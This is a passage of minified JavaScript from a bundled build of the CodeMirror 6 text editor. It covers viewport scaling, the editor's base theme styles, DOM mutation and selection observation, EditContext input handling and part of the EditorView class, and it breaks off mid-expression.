Xy(i,e,t){let n=[],r=i,s=0;return $.spans(t,i,e,{span(){},point(o,l){o>r&&(n.push({from:r,to:o}),s+=o-r),r=l}},20),r<e&&(n.push({from:r,to:e}),s+=e-r),{total:s,ranges:n}}function ir({total:i,ranges:e},t){if(t<=0)return e[0].from;if(t>=1)return e[e.length-1].to;let n=Math.floor(i*t);for(let r=0;;r++){let{from:s,to:o}=e[r],l=o-s;if(n<=l)return s+n;n-=l}}function nr(i,e){let t=0;for(let{from:n,to:r}of i.ranges){if(e<=r){t+=e-n;break}t+=r-n}return t/i.total}function jy(i,e){for(let t of i)if(e(t))return t}const wh={toDOM(i){return i},fromDOM(i){return i},scale:1,eq(i){return i==this}};function Oh(i){let e=i.facet(ms).filter(n=>typeof n!="function"),t=i.facet(jl).filter(n=>typeof n!="function");return t.length&&e.push($.join(t)),e}class Zl{constructor(e,t,n){let r=0,s=0,o=0;this.viewports=n.map(({from:l,to:a})=>{let h=t.lineAt(l,Z.ByPos,e,0,0).top,c=t.lineAt(a,Z.ByPos,e,0,0).bottom;return r+=c-h,{from:l,to:a,top:h,bottom:c,domTop:0,domBottom:0}}),this.scale=(7e6-r)/(t.height-r);for(let l of this.viewports)l.domTop=o+(l.top-s)*this.scale,o=l.domBottom=l.domTop+(l.bottom-l.top),s=l.bottom}toDOM(e){for(let t=0,n=0,r=0;;t++){let s=t<this.viewports.length?this.viewports[t]:null;if(!s||e<s.top)return r+(e-n)*this.scale;if(e<=s.bottom)return s.domTop+(e-s.top);n=s.bottom,r=s.domBottom}}fromDOM(e){for(let t=0,n=0,r=0;;t++){let s=t<this.viewports.length?this.viewports[t]:null;if(!s||e<s.domTop)return n+(e-r)/this.scale;if(e<=s.domBottom)return s.top+(e-s.domTop);n=s.bottom,r=s.domBottom}}eq(e){return e instanceof Zl?this.scale==e.scale&&this.viewports.length==e.viewports.length&&this.viewports.every((t,n)=>t.from==e.viewports[n].from&&t.to==e.viewports[n].to):!1}}function dn(i,e){if(e.scale==1)return i;let t=e.toDOM(i.top),n=e.toDOM(i.bottom);return new et(i.from,i.length,t,n-t,Array.isArray(i._content)?i._content.map(r=>dn(r,e)):i._content)}const rr=T.define({combine:i=>i.join(" ")}),rl=T.define({combine:i=>i.indexOf(!0)>-1}),sl=Qt.newName(),Bu=Qt.newName(),Fu=Qt.newName(),_u={"&light":"."+Bu,"&dark":"."+Fu};function ol(i,e,t){return new Qt(e,{finish(n){return/&/.test(n)?n.replace(/&\w*/,r=>{if(r=="&")return i;if(!t||!t[r])throw new RangeError(`Unsupported selector: ${r}`);return t[r]}):i+" "+n}})}const Yy=ol("."+sl,{"&":{position:"relative !important",boxSizing:"border-box","&.cm-focused":{outline:"1px dotted #212121"},display:"flex !important",flexDirection:"column"},".cm-scroller":{display:"flex !important",alignItems:"flex-start !important",fontFamily:"monospace",lineHeight:1.4,height:"100%",overflowX:"auto",position:"relative",zIndex:0,overflowAnchor:"none"},".cm-content":{margin:0,flexGrow:2,flexShrink:0,display:"block",whiteSpace:"pre",wordWrap:"normal",boxSizing:"border-box",minHeight:"100%",padding:"4px 0",outline:"none","&[contenteditable=true]":{WebkitUserModify:"read-write-plaintext-only"}},".cm-lineWrapping":{whiteSpace_fallback:"pre-wrap",whiteSpace:"break-spaces",wordBreak:"break-word",overflowWrap:"anywhere",flexShrink:1},"&light .cm-content":{caretColor:"black"},"&dark .cm-content":{caretColor:"white"},".cm-line":{display:"block",padding:"0 2px 0 6px"},".cm-layer":{userSelect:"none",position:"absolute",left:0,top:0,contain:"size style","& > *":{position:"absolute"}},"&light .cm-selectionBackground":{background:"#d9d9d9"},"&dark .cm-selectionBackground":{background:"#222"},"&light.cm-focused > .cm-scroller > .cm-selectionLayer .cm-selectionBackground":{background:"#d7d4f0"},"&dark.cm-focused > .cm-scroller > .cm-selectionLayer .cm-selectionBackground":{background:"#233"},".cm-cursorLayer":{pointerEvents:"none"},"&.cm-focused > .cm-scroller > .cm-cursorLayer":{animation:"steps(1) cm-blink 1.2s infinite"},"@keyframes cm-blink":{"0%":{},"50%":{opacity:0},"100%":{}},"@keyframes cm-blink2":{"0%":{},"50%":{opacity:0},"100%":{}},".cm-cursor, .cm-dropCursor":{borderLeft:"1.2px solid black",marginLeft:"-0.6px",pointerEvents:"none"},".cm-cursor":{display:"none"},"&dark .cm-cursor":{borderLeftColor:"#ddd"},".cm-selectionHandle":{backgroundColor:"currentColor",width:"1.5px"},".cm-selectionHandle-start::before, .cm-selectionHandle-end::before":{content:'""',backgroundColor:"inherit",borderRadius:"50%",width:"8px",height:"8px",position:"absolute",left:"-3.25px"},".cm-selectionHandle-start::before":{top:"-8px"},".cm-selectionHandle-end::before":{bottom:"-8px"},".cm-dropCursor":{position:"absolute"},"&.cm-focused > .cm-scroller > .cm-cursorLayer .cm-cursor":{display:"block"},".cm-iso":{unicodeBidi:"isolate"},".cm-announced":{position:"fixed",top:"-10000px"},"@media print":{".cm-announced":{display:"none"}},"&light .cm-activeLine":{backgroundColor:"#cceeff44"},"&dark .cm-activeLine":{backgroundColor:"#99eeff33"},"&light .cm-specialChar":{color:"red"},"&dark .cm-specialChar":{color:"#f78"},".cm-gutters":{flexShrink:0,display:"flex",height:"100%",boxSizing:"border-box",zIndex:200},".cm-gutters-before":{insetInlineStart:0},".cm-gutters-after":{insetInlineEnd:0},"&light .cm-gutters":{backgroundColor:"#f5f5f5",color:"#6c6c6c",border:"0px solid #ddd","&.cm-gutters-before":{borderRightWidth:"1px"},"&.cm-gutters-after":{borderLeftWidth:"1px"}},"&dark .cm-gutters":{backgroundColor:"#333338",color:"#ccc"},".cm-gutter":{display:"flex !important",flexDirection:"column",flexShrink:0,boxSizing:"border-box",minHeight:"100%",overflow:"hidden"},".cm-gutterElement":{boxSizing:"border-box"},".cm-lineNumbers .cm-gutterElement":{padding:"0 3px 0 5px",minWidth:"20px",textAlign:"right",whiteSpace:"nowrap"},"&light .cm-activeLineGutter":{backgroundColor:"#e2f2ff"},"&dark .cm-activeLineGutter":{backgroundColor:"#222227"},".cm-panels":{boxSizing:"border-box",position:"sticky",left:0,right:0,zIndex:300},"&light .cm-panels":{backgroundColor:"#f5f5f5",color:"black"},"&light .cm-panels-top":{borderBottom:"1px solid #ddd"},"&light .cm-panels-bottom":{borderTop:"1px solid #ddd"},"&dark .cm-panels":{backgroundColor:"#333338",color:"white"},".cm-dialog":{padding:"2px 19px 4px 6px",position:"relative","& label":{fontSize:"80%"}},".cm-dialog-close":{position:"absolute",top:"3px",right:"4px",backgroundColor:"inherit",border:"none",font:"inherit",fontSize:"14px",padding:"0"},".cm-tab":{display:"inline-block",overflow:"hidden",verticalAlign:"bottom"},".cm-widgetBuffer":{verticalAlign:"text-top",height:"1em",width:0,display:"inline"},".cm-placeholder":{color:"#888",display:"inline-block",verticalAlign:"top",userSelect:"none"},".cm-highlightSpace":{backgroundImage:"radial-gradient(circle at 50% 55%, #aaa 20%, transparent 5%)",backgroundPosition:"center"},".cm-highlightTab":{backgroundImage:`url('data:image/svg+xml,<svg xmlns="http://www.w3.org/2000/svg" width="200" height="20"><path stroke="%23888" stroke-width="1" fill="none" d="M1 10H196L190 5M190 15L196 10M197 4L197 16"/></svg>')`,backgroundSize:"auto 100%",backgroundPosition:"right 90%",backgroundRepeat:"no-repeat"},".cm-trailingSpace":{backgroundColor:"#ff332255"},".cm-button":{verticalAlign:"middle",color:"inherit",fontSize:"70%",padding:".2em 1em",borderRadius:"1px"},"&light .cm-button":{backgroundImage:"linear-gradient(#eff1f5, #d9d9df)",border:"1px solid #888","&:active":{backgroundImage:"linear-gradient(#b4b4b4, #d0d3d6)"}},"&dark .cm-button":{backgroundImage:"linear-gradient(#393939, #111)",border:"1px solid #888","&:active":{backgroundImage:"linear-gradient(#111, #333)"}},".cm-textfield":{verticalAlign:"middle",color:"inherit",fontSize:"70%",border:"1px solid silver",padding:".2em .5em"},"&light .cm-textfield":{backgroundColor:"white"},"&dark .cm-textfield":{border:"1px solid #555",backgroundColor:"inherit"}},_u),Gy={childList:!0,characterData:!0,subtree:!0,attributes:!0,characterDataOldValue:!0},js=P.ie&&P.ie_version<=11;class Jy{constructor(e){this.view=e,this.active=!1,this.editContext=null,this.selectionRange=new Mb,this.selectionChanged=!1,this.delayedFlush=-1,this.resizeTimeout=-1,this.queue=[],this.delayedAndroidKey=null,this.flushingAndroidKey=-1,this.lastChange=0,this.scrollTargets=[],this.intersection=null,this.resizeScroll=null,this.intersecting=!1,this.gapIntersection=null,this.gaps=[],this.printQuery=null,this.parentCheck=-1,this.dom=e.contentDOM,this.observer=new MutationObserver(t=>{for(let n of t)this.queue.push(n);(P.ie&&P.ie_version<=11||P.ios&&e.composing)&&t.some(n=>n.type=="childList"&&n.removedNodes.length||n.type=="characterData"&&n.oldValue.length>n.target.nodeValue.length)?this.flushSoon():this.flush()}),window.EditContext&&P.android&&e.constructor.EDIT_CONTEXT!==!1&&!(P.chrome&&P.chrome_version<126)&&(this.editContext=new e1(e),e.state.facet(At)&&(e.contentDOM.editContext=this.editContext.editContext)),js&&(this.onCharData=t=>{this.queue.push({target:t.target,type:"characterData",oldValue:t.prevValue}),this.flushSoon()}),this.onSelectionChange=this.onSelectionChange.bind(this),this.onResize=this.onResize.bind(this),this.onPrint=this.onPrint.bind(this),this.onScroll=this.onScroll.bind(this),window.matchMedia&&(this.printQuery=window.matchMedia("print")),typeof ResizeObserver=="function"&&(this.resizeScroll=new ResizeObserver(()=>{var t;((t=this.view.docView)===null||t===void 0?void 0:t.lastUpdate)<Date.now()-75&&this.onResize()}),this.resizeScroll.observe(e.scrollDOM)),this.addWindowListeners(this.win=e.win),this.start(),typeof IntersectionObserver=="function"&&(this.intersection=new IntersectionObserver(t=>{this.parentCheck<0&&(this.parentCheck=setTimeout(this.listenForScroll.bind(this),1e3)),t.length>0&&t[t.length-1].intersectionRatio>0!=this.intersecting&&(this.intersecting=!this.intersecting,this.intersecting!=this.view.inView&&this.onScrollChanged(document.createEvent("Event")))},{threshold:[0,.001]}),this.intersection.observe(this.dom),this.gapIntersection=new IntersectionObserver(t=>{t.length>0&&t[t.length-1].intersectionRatio>0&&this.onScrollChanged(document.createEvent("Event"))},{})),this.listenForScroll(),this.readSelectionRange()}onScrollChanged(e){this.view.inputState.runHandlers("scroll",e),this.intersecting&&this.view.measure()}onScroll(e){this.intersecting&&this.flush(!1),this.editContext&&this.view.requestMeasure(this.editContext.measureReq),this.onScrollChanged(e)}onResize(){this.resizeTimeout<0&&(this.resizeTimeout=setTimeout(()=>{this.resizeTimeout=-1,this.view.requestMeasure()},50))}onPrint(e){(e.type=="change"||!e.type)&&!e.matches||(this.view.viewState.printing=!0,this.view.measure(),setTimeout(()=>{this.view.viewState.printing=!1,this.view.requestMeasure()},500))}updateGaps(e){if(this.gapIntersection&&(e.length!=this.gaps.length||this.gaps.some((t,n)=>t!=e[n]))){this.gapIntersection.disconnect();for(let t of e)this.gapIntersection.observe(t);this.gaps=e}}onSelectionChange(e){let t=this.selectionChanged;if(!this.readSelectionRange()||this.delayedAndroidKey)return;let{view:n}=this,r=this.selectionRange;if(n.state.facet(At)?n.root.activeElement!=this.dom:!bn(this.dom,r))return;let s=r.anchorNode&&n.docView.tile.nearest(r.anchorNode);if(s&&s.isWidget()&&s.widget.ignoreEvent(e)){t||(this.selectionChanged=!1);return}(P.ie&&P.ie_version<=11||P.android&&P.chrome)&&!n.state.selection.main.empty&&r.focusNode&&xn(r.focusNode,r.focusOffset,r.anchorNode,r.anchorOffset)?this.flushSoon():this.flush(!1)}readSelectionRange(){let{view:e}=this,t=Mn(e.root);if(!t)return!1;let n=P.safari&&e.root.nodeType==11&&e.root.activeElement==this.dom&&Zy(this.view,t)||t;if(!n||this.selectionRange.eq(n))return!1;let r=bn(this.dom,n);return r&&!this.selectionChanged&&e.inputState.lastFocusTime>Date.now()-200&&e.inputState.lastTouchTime<Date.now()-300&&Eb(this.dom,n)?(this.view.inputState.lastFocusTime=0,e.docView.updateSelection(),!1):(this.selectionRange.setRange(n),r&&(this.selectionChanged=!0),!0)}setSelectionRange(e,t){this.selectionRange.set(e.node,e.offset,t.node,t.offset),this.selectionChanged=!1}clearSelectionRange(){this.selectionRange.set(null,0,null,0)}listenForScroll(){this.parentCheck=-1;let e=0,t=null;for(let n=this.dom;n;)if(n.nodeType==1)!t&&e<this.scrollTargets.length&&this.scrollTargets[e]==n?e++:t||(t=this.scrollTargets.slice(0,e)),t&&t.push(n),n=n.assignedSlot||n.parentNode;else if(n.nodeType==11)n=n.host;else break;if(e<this.scrollTargets.length&&!t&&(t=this.scrollTargets.slice(0,e)),t){for(let n of this.scrollTargets)n.removeEventListener("scroll",this.onScroll);for(let n of this.scrollTargets=t)n.addEventListener("scroll",this.onScroll)}}ignore(e){if(!this.active)return e();try{return this.stop(),e()}finally{this.start(),this.clear()}}start(){this.active||(this.observer.observe(this.dom,Gy),js&&this.dom.addEventListener("DOMCharacterDataModified",this.onCharData),this.active=!0)}stop(){this.active&&(this.active=!1,this.observer.disconnect(),js&&this.dom.removeEventListener("DOMCharacterDataModified",this.onCharData))}clear(){this.processRecords(),this.queue.length=0,this.selectionChanged=!1}delayAndroidKey(e,t){var n;if(!this.delayedAndroidKey){let r=()=>{let s=this.delayedAndroidKey;s&&(this.clearDelayedAndroidKey(),this.view.inputState.lastKeyCode=s.keyCode,this.view.inputState.lastKeyTime=Date.now(),!this.flush()&&s.force&&Ii(this.dom,s.key,s.keyCode))};this.flushingAndroidKey=this.view.win.requestAnimationFrame(r)}(!this.delayedAndroidKey||e=="Enter")&&(this.delayedAndroidKey={key:e,keyCode:t,force:this.lastChange<Date.now()-50||!!(!((n=this.delayedAndroidKey)===null||n===void 0)&&n.force)})}clearDelayedAndroidKey(){this.win.cancelAnimationFrame(this.flushingAndroidKey),this.delayedAndroidKey=null,this.flushingAndroidKey=-1}flushSoon(){this.delayedFlush<0&&(this.delayedFlush=this.view.win.requestAnimationFrame(()=>{this.delayedFlush=-1,this.flush()}))}forceFlush(){this.delayedFlush>=0&&(this.view.win.cancelAnimationFrame(this.delayedFlush),this.delayedFlush=-1),this.flush()}pendingRecords(){for(let e of this.observer.takeRecords())this.queue.push(e);return this.queue}processRecords(){let e=this.pendingRecords();e.length&&(this.queue=[]);let t=-1,n=-1,r=!1;for(let s of e){let o=this.readMutation(s);o&&(o.typeOver&&(r=!0),t==-1?{from:t,to:n}=o:(t=Math.min(o.from,t),n=Math.max(o.to,n)))}return{from:t,to:n,typeOver:r}}readChange(){let{from:e,to:t,typeOver:n}=this.processRecords(),r=this.selectionChanged&&bn(this.dom,this.selectionRange);if(e<0&&!r)return null;e>-1&&(this.lastChange=Date.now()),this.view.inputState.lastFocusTime=0,this.selectionChanged=!1;let s=new by(this.view,e,t,n);return this.view.docView.domChanged={newSel:s.newSel?s.newSel.main:null},s}flush(e=!0){if(this.delayedFlush>=0||this.delayedAndroidKey)return!1;e&&this.readSelectionRange();let t=this.readChange();if(!t)return this.view.requestMeasure(),!1;let n=this.view.state,r=Cu(this.view,t);return this.view.state==n&&(t.domChanged||t.newSel&&!Hr(this.view.state.selection,t.newSel.main))&&this.view.update([]),r}readMutation(e){let t=this.view.docView.tile.nearest(e.target);if(!t||t.isWidget())return null;if(t.markDirty(e.type=="attributes"),e.type=="childList"){let n=Ch(t,e.previousSibling||e.target.previousSibling,-1),r=Ch(t,e.nextSibling||e.target.nextSibling,1);return{from:n?t.posAfter(n):t.posAtStart,to:r?t.posBefore(r):t.posAtEnd,typeOver:!1}}else return e.type=="characterData"?{from:t.posAtStart,to:t.posAtEnd,typeOver:e.target.nodeValue==e.oldValue}:null}setWindow(e){e!=this.win&&(this.removeWindowListeners(this.win),this.win=e,this.addWindowListeners(this.win))}addWindowListeners(e){e.addEventListener("resize",this.onResize),this.printQuery?this.printQuery.addEventListener?this.printQuery.addEventListener("change",this.onPrint):this.printQuery.addListener(this.onPrint):e.addEventListener("beforeprint",this.onPrint),e.addEventListener("scroll",this.onScroll),e.document.addEventListener("selectionchange",this.onSelectionChange)}removeWindowListeners(e){e.removeEventListener("scroll",this.onScroll),e.removeEventListener("resize",this.onResize),this.printQuery?this.printQuery.removeEventListener?this.printQuery.removeEventListener("change",this.onPrint):this.printQuery.removeListener(this.onPrint):e.removeEventListener("beforeprint",this.onPrint),e.document.removeEventListener("selectionchange",this.onSelectionChange)}update(e){this.editContext&&(this.editContext.update(e),e.startState.facet(At)!=e.state.facet(At)&&(e.view.contentDOM.editContext=e.state.facet(At)?this.editContext.editContext:null))}destroy(){var e,t,n;this.stop(),(e=this.intersection)===null||e===void 0||e.disconnect(),(t=this.gapIntersection)===null||t===void 0||t.disconnect(),(n=this.resizeScroll)===null||n===void 0||n.disconnect();for(let r of this.scrollTargets)r.removeEventListener("scroll",this.onScroll);this.removeWindowListeners(this.win),clearTimeout(this.parentCheck),clearTimeout(this.resizeTimeout),this.win.cancelAnimationFrame(this.delayedFlush),this.win.cancelAnimationFrame(this.flushingAndroidKey),this.editContext&&(this.view.contentDOM.editContext=null,this.editContext.destroy())}}function Ch(i,e,t){for(;e;){let n=re.get(e);if(n&&n.parent==i)return n;let r=e.parentNode;e=r!=i.dom?r:t>0?e.nextSibling:e.previousSibling}return null}function Ah(i,e){let t=e.startContainer,n=e.startOffset,r=e.endContainer,s=e.endOffset,o=i.docView.domAtPos(i.state.selection.main.anchor,1);return xn(o.node,o.offset,r,s)&&([t,n,r,s]=[r,s,t,n]),{anchorNode:t,anchorOffset:n,focusNode:r,focusOffset:s}}function Zy(i,e){if(e.getComposedRanges){let r=e.getComposedRanges(i.root)[0];if(r)return Ah(i,r)}let t=null;function n(r){r.preventDefault(),r.stopImmediatePropagation(),t=r.getTargetRanges()[0]}return i.contentDOM.addEventListener("beforeinput",n,!0),i.dom.ownerDocument.execCommand("indent"),i.contentDOM.removeEventListener("beforeinput",n,!0),t?Ah(i,t):null}class e1{constructor(e){this.from=0,this.to=0,this.pendingContextChange=null,this.handlers=Object.create(null),this.composing=null,this.resetRange(e.state);let t=this.editContext=new window.EditContext({text:e.state.doc.sliceString(this.from,this.to),selectionStart:this.toContextPos(Math.max(this.from,Math.min(this.to,e.state.selection.main.anchor))),selectionEnd:this.toContextPos(e.state.selection.main.head)});this.handlers.textupdate=n=>{let r=e.state.selection.main,{anchor:s,head:o}=r,l=this.toEditorPos(n.updateRangeStart),a=this.toEditorPos(n.updateRangeEnd);e.inputState.composing>=0&&!this.composing&&(this.composing={contextBase:n.updateRangeStart,editorBase:l,drifted:!1});let h=a-l>n.text.length;l==this.from&&s<this.from?l=s:a==this.to&&s>this.to&&(a=s);let c=Au(e.state.sliceDoc(l,a),n.text,(h?r.from:r.to)-l,h?"end":null);if(!c){let u=v.single(this.toEditorPos(n.selectionStart),this.toEditorPos(n.selectionEnd));Hr(u,r)||e.dispatch({selection:u,userEvent:"select"});return}let f={from:c.from+l,to:c.toA+l,insert:z.of(n.text.slice(c.from,c.toB).split(`
`))};if((P.mac||P.android)&&f.from==o-1&&/^\. ?$/.test(n.text)&&e.contentDOM.getAttribute("autocorrect")=="off"&&(f={from:l,to:a,insert:z.of([n.text.replace("."," ")])}),this.pendingContextChange=f,!e.state.readOnly){let u=this.to-this.from+(f.to-f.from+f.insert.length);Gl(e,f,v.single(this.toEditorPos(n.selectionStart,u),this.toEditorPos(n.selectionEnd,u)))}this.pendingContextChange&&(this.revertPending(e.state),this.setSelection(e.state)),f.from<f.to&&!f.insert.length&&e.inputState.composing>=0&&!/[\\p{Alphabetic}\\p{Number}_]/.test(t.text.slice(Math.max(0,n.updateRangeStart-1),Math.min(t.text.length,n.updateRangeStart+1)))&&this.handlers.compositionend(n)},this.handlers.characterboundsupdate=n=>{let r=[],s=null;for(let o=this.toEditorPos(n.rangeStart),l=this.toEditorPos(n.rangeEnd);o<l;o++){let a=e.coordsForChar(o);s=a&&new DOMRect(a.left,a.top,a.right-a.left,a.bottom-a.top)||s||new DOMRect,r.push(s)}t.updateCharacterBounds(n.rangeStart,r)},this.handlers.textformatupdate=n=>{let r=[];for(let s of n.getTextFormats()){let o=s.underlineStyle,l=s.underlineThickness;if(!/none/i.test(o)&&!/none/i.test(l)){let a=this.toEditorPos(s.rangeStart),h=this.toEditorPos(s.rangeEnd);if(a<h){let c=`text-decoration: underline ${/^[a-z]/.test(o)?o+" ":o=="Dashed"?"dashed ":o=="Squiggle"?"wavy ":""}${/thin/i.test(l)?1:2}px`;r.push(D.mark({attributes:{style:c}}).range(a,h))}}}e.dispatch({effects:mu.of(D.set(r))})},this.handlers.compositionstart=()=>{e.inputState.composing<0&&(e.inputState.composing=0,e.inputState.compositionFirstChange=!0)},this.handlers.compositionend=()=>{if(e.inputState.composing=-1,e.inputState.compositionFirstChange=null,this.composing){let{drifted:n}=this.composing;this.composing=null,n&&this.reset(e.state)}};for(let n in this.handlers)t.addEventListener(n,this.handlers[n]);this.measureReq={read:n=>{this.editContext.updateControlBounds(n.contentDOM.getBoundingClientRect());let r=Mn(n.root);r&&r.rangeCount&&this.editContext.updateSelectionBounds(r.getRangeAt(0).getBoundingClientRect())}}}applyEdits(e){let t=0,n=!1,r=this.pendingContextChange;return e.changes.iterChanges((s,o,l,a,h)=>{if(n)return;let c=h.length-(o-s);if(r&&o>=r.to)if(r.from==s&&r.to==o&&r.insert.eq(h)){r=this.pendingContextChange=null,t+=c,this.to+=c;return}else r=null,this.revertPending(e.state);if(s+=t,o+=t,o<=this.from)this.from+=c,this.to+=c;else if(s<this.to){if(s<this.from||o>this.to||this.to-this.from+h.length>3e4){n=!0;return}this.editContext.updateText(this.toContextPos(s),this.toContextPos(o),h.toString()),this.to+=c}t+=c}),r&&!n&&this.revertPending(e.state),!n}update(e){let t=this.pendingContextChange,n=e.startState.selection.main;this.composing&&(this.composing.drifted||!e.changes.touchesRange(n.from,n.to)&&e.transactions.some(r=>!r.isUserEvent("input.type")&&r.changes.touchesRange(this.from,this.to)))?(this.composing.drifted=!0,this.composing.editorBase=e.changes.mapPos(this.composing.editorBase)):!this.applyEdits(e)||!this.rangeIsValid(e.state)?(this.pendingContextChange=null,this.reset(e.state)):(e.docChanged||e.selectionSet||t)&&this.setSelection(e.state),(e.geometryChanged||e.docChanged||e.selectionSet)&&e.view.requestMeasure(this.measureReq)}resetRange(e){let{head:t}=e.selection.main;this.from=Math.max(0,t-1e4),this.to=Math.min(e.doc.length,t+1e4)}reset(e){this.resetRange(e),this.editContext.updateText(0,this.editContext.text.length,e.doc.sliceString(this.from,this.to)),this.setSelection(e)}revertPending(e){let t=this.pendingContextChange;this.pendingContextChange=null,this.editContext.updateText(this.toContextPos(t.from),this.toContextPos(t.from+t.insert.length),e.doc.sliceString(t.from,t.to))}setSelection(e){let{main:t}=e.selection,n=this.toContextPos(Math.max(this.from,Math.min(this.to,t.anchor))),r=this.toContextPos(t.head);(this.editContext.selectionStart!=n||this.editContext.selectionEnd!=r)&&this.editContext.updateSelection(n,r)}rangeIsValid(e){let{head:t}=e.selection.main;return!(this.from>0&&t-this.from<500||this.to<e.doc.length&&this.to-t<500||this.to-this.from>1e4*3)}toEditorPos(e,t=this.to-this.from){e=Math.min(e,t);let n=this.composing;return n&&n.drifted?n.editorBase+(e-n.contextBase):e+this.from}toContextPos(e){let t=this.composing;return t&&t.drifted?t.contextBase+(e-t.editorBase):e-this.from}destroy(){for(let e in this.handlers)this.editContext.removeEventListener(e,this.handlers[e])}}class A{get state(){return this.viewState.state}get viewport(){return this.viewState.viewport}get visibleRanges(){return this.viewState.visibleRanges}get inView(){return this.viewState.inView}get composing(){return!!this.inputState&&this.inputState.composing>0}get compositionStarted(){return!!this.inputState&&this.inputState.composing>=0}get root(){return this._root}get win(){return this.dom.ownerDocument.defaultView||window}constructor(e={}){var t;this.plugins=[],this.pluginMap=new Map,this.editorAttrs={},this.contentAttrs={},this.bidiCache=[],this.destroyed=!1,this.updateState=2,this.measureScheduled=-1,this.measureRequests=[],this.contentDOM=document.createElement("div"),this.scrollDOM=document.createElement("div"),this.scrollDOM.tabIndex=-1,this.scrollDOM.className="cm-scroller",this.scrollDOM.appendChild(this.contentDOM),this.announceDOM=document.createElement("div"),this.announceDOM.className="cm-announced",this.announceDOM.setAttribute("aria-live","polite"),this.dom=document.createElement("div"),this.dom.appendChild(this.announceDOM),this.dom.appendChild(this.scrollDOM),e.parent&&e.parent.appendChild(this.dom);let{dispatch:n}=e;this.dispatchTransactions=e.dispatchTransactions||n&&(r=>r.forEach(s=>n(s,this)))||(r=>this.update(r)),this.dispatch=this.dispatch.bind(this),this._root=e.root||Pb(e.parent)||document,this.viewState=new kh(this,e.state||V.create(e)),e.scrollTo&&e.scrollTo.is(Jn)&&(this.viewState.scrollTarget=e.scrollTo.value.clip(this.viewState.state)),this.plugins=this.state.facet(Oi).map(r=>new Qs(r));for(let r of this.plugins)r.update(this);this.observer=new Jy(this),this.inputState=new Sy(this),this.inputState.ensureHandlers(this.plugins),this.docView=new hh(this),this.mountStyles(),this.updateAttrs(),this.updateState=0,this.requestMeasure(),!((t=document.fonts)===null||t===void 0)&&t.ready&&document.fonts.ready.then(()=>{this.viewState.mustMeasureContent="refresh",this.requestMeasure()})}dispatch(...e){let t=e.length==1&&e[0]instanceof ce?e:e.length==1&&Array.isArray(e[0])?e[0]:[this.state.update(...e)];this.dispatchTransactions(t,this)}update(e){if(this.updateState!=0)throw new Error("Calls to EditorView.update are not allowed while an update is in progress");let t=!1,n=!1,r,s=this.state;for(let u of e){if(u.startState!=s)throw new RangeError("Trying to update state with a transaction that doesn't start from the previous state.");s=u.state}if(this.destroyed){this.viewState.state=s;return}let o=this.hasFocus,l=0,a=null;e.some(u=>u.annotation(Du))?(this.inputState.notifiedFocused=o,l=1):o!=this.inputState.notifiedFocused&&(this.inputState.notifiedFocused=o,a=Ru(s,o),a||(l=1));let h=this.observer.delayedAndroidKey,c=null;if(h?(this.observer.clearDelayedAndroidKey(),c=this.observer.readChange(),(c&&!this.state.doc.eq(s.doc)||!this.state.selection.eq(s.selection))&&(c=null)):this.observer.clear(),s.facet(V.phrases)!=this.state.facet(V.phrases))return this.setState(s);r=_r.create(this,s,e),r.flags|=l;let f=this.viewState.scrollTarget;try{this.updateState=2;for(let u of e){if(f&&(f=f.map(u.changes)),u.scrollIntoView){let{main:d}=u.state.selection,{x:p,y:g}=this.state.facet(A.cursorScrollMargin);f=new Ni(d.empty?d:v.cursor(d.head,d.head>d.anchor?-1:1),"nearest","nearest",g,p)}for(let d of u.effects)d.is(Jn)&&(f=d.value.clip(this.state))}this.viewState.update(r,f),this.bidiCache=Qr.update(this.bidiCache,r.changes),r.empty||(this.updatePlugins(r),this.inputState.update(r)),t=this.docView.update(r),this.state.facet(un)!=this.styleModules&&this.mountStyles(),n=this.updateAttrs(),this.showAnnouncements(e),this.docView.updateSelection(t,e.some(u=>u.isUserEvent("select.pointer")))}finally{this.updateState=0}if(r.startState.facet(rr)!=r.state.facet(rr)&&(this.viewState.mustMeasureContent=!0),(t||n||f||this.viewState.mustEnforceCursorAssoc||this.viewState.mustMeasureContent)&&this.requestMeasure(),t&&this.docViewUpdate(),!r.empty)for(let u of this.state.facet(Zo))try{u(r)}catch(d){Fe(this.state,d,"update listener")}(a||c)&&Promise.resolve().then(()=>{a&&this.state==a.startState&&this.dispatch(a),c&&!Cu(this,c)&&h.force&&Ii(this.contentDOM,h.key,h.keyCode)})}setState(e){if(this.updateState!=0)throw new Error("Calls to EditorView.setState are not allowed while an update is in progress");if(this.destroyed){this.viewState.state=e;return}this.updateState=2;let t=this.hasFocus;try{for(let n of this.plugins)n.destroy(this);this.viewState=new kh(this,e),this.plugins=e.facet(Oi).map(n=>new Qs(n)),this.pluginMap.clear();for(let n of this.plugins)n.update(this);this.docView.destroy(),this.docView=new hh(this),this.inputState.ensureHandlers(this.plugins),this.mountStyles(),this.updateAttrs(),this.bidiCache=[]}finally{this.updateState=0}t&&this.focus(),this.requestMeasure()}updatePlugins(e){let t=e.startState.facet(Oi),n=e.state.facet(Oi);if(t!=n){let r=[];for(let s of n){let o=t.indexOf(s);if(o<0)r.push(new Qs(s));else{let l=this.plugins[o];l.mustUpdate=e,r.push(l)}}for(let s of this.plugins)s.mustUpdate!=e&&s.destroy(this);this.plugins=r,this.pluginMap.clear()}else for(let r of this.plugins)r.mustUpdate=e;for(let r=0;r<this.plugins.length;r++)this.plugins[r].update(this);t!=n&&this.inputState.ensureHandlers(this.plugins)}docViewUpdate(){for(let e of this.plugins){let t=e.value;if(t&&t.docViewUpdate)try{t.docViewUpdate(this)}catch(n){Fe(this.state,n,"doc view update listener")}}}measure(e=!0){if(this.destroyed)return;if(this.measureScheduled>-1&&this.win.cancelAnimationFrame(this.measureScheduled),this.observer.delayedAndroidKey){this.measureScheduled=-1,this.requestMeasure();return}this.measureScheduled=0,e&&this.observer.forceFlush();let t=null,n=this.viewState.scrollParent,r=this.viewState.getScrollOffset(),{scrollAnchorPos:s,scrollAnchorHeight:o}=this.viewState;Math.abs(r-this.viewState.scrollOffset)>1&&(o=-1),this.viewState.scrollAnchorHeight=-1;try{for(let l=0;;l++){if(o<0)if(Zf(n||this.win))s=-1,o=this.viewState.heightMap.height;else{let d=this.viewState.scrollAnchorAt(r);s=d.from,o=d.top}this.updateState=1;let a=this.viewState.measure();if(!a&&!this.measureRequests.length&&this.viewState.scrollTarget==null)break;if(l>5){console.warn(this.measureRequests.length?"Measure loop restarted more than 5 times":"Viewport failed to stabilize");break}let h=[];a&4||([this.measureRequests,h]=[h,this.measureRequests]);let c=h.map(d=>{try{return d.read(this)}catch(p){return 